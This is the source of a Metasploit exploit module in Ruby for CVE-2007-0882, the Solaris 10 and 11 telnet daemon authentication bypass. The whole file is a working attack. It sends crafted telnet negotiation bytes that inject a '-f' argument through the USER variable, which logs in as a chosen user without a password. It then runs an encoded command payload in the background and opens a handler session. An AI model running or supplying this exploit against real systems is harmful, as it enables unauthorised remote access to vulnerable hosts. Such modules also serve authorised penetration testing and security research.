bcoles
105 lines
2.5 KiB
Ruby
105 lines
2.5 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Sun Solaris Telnet Remote Authentication Bypass Vulnerability',
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'Description' => %q{
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This module exploits the argument injection vulnerability
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in the telnet daemon (in.telnetd) of Solaris 10 and 11.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'References' => [
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[ 'CVE', '2007-0882' ],
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[ 'OSVDB', '31881'],
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[ 'BID', '22512' ],
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],
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'Privileged' => false,
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'Platform' => %w[solaris unix],
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'Arch' => ARCH_CMD,
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'Payload' => {
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'Space' => 2000,
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'BadChars' => '',
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'DisableNops' => true,
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'Compat' => {
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl telnet'
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}
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},
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'Targets' => [
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['Automatic', {}],
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],
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'DisclosureDate' => '2007-02-12',
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'DefaultTarget' => 0,
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'Reliability' => [REPEATABLE_SESSION],
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'SideEffects' => [IOC_IN_LOGS]
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}
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)
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)
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register_options([
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Opt::RPORT(23),
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OptString.new('USER', [ true, 'The username to use', 'bin' ]),
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])
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end
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def exploit
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connect
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print_status('Setting USER environment variable...')
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req = "\xFF\xFD\x26\xFF\xFB\x26\xFF\xFD\x03\xFF\xFB"
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req << "\x18\xFF\xFB\x1F\xFF\xFB\x20\xFF\xFB\x21\xFF"
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req << "\xFB\x22\xFF\xFB\x27\xFF\xFD\x05"
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sock.put(req)
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sock.get_once
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req << "\xFF\xFC\x25"
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sock.put(req)
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sock.get_once
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req << "\xFF\xFA\x26\x01\x01\x02\xFF\xF0"
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sock.put(req)
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sock.get_once
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req << "\xFF\xFA\x1F\x00\x50\x00\x18\xFF\xF0"
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sock.put(req)
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sock.get_once
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req << "\xFF\xFE\x26\xFF\xFC\x23\xFF\xFC\x24"
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sock.put(req)
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sock.get_once
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req = "\xFF\xFA\x18\x00\x58\x54\x45\x52\x4D\xFF"
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req << "\xF0\xFF\xFA\x27\x00\x00\x55\x53\x45\x52"
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req << "\x01\x2D\x66" + datastore['USER'] + "\xFF\xF0"
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sock.put(req)
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sock.get_once
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select(nil, nil, nil, 0.25)
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sock.put("nohup #{payload.encoded} >/dev/null 2>&1\n")
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select(nil, nil, nil, 0.25)
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handler
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end
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end
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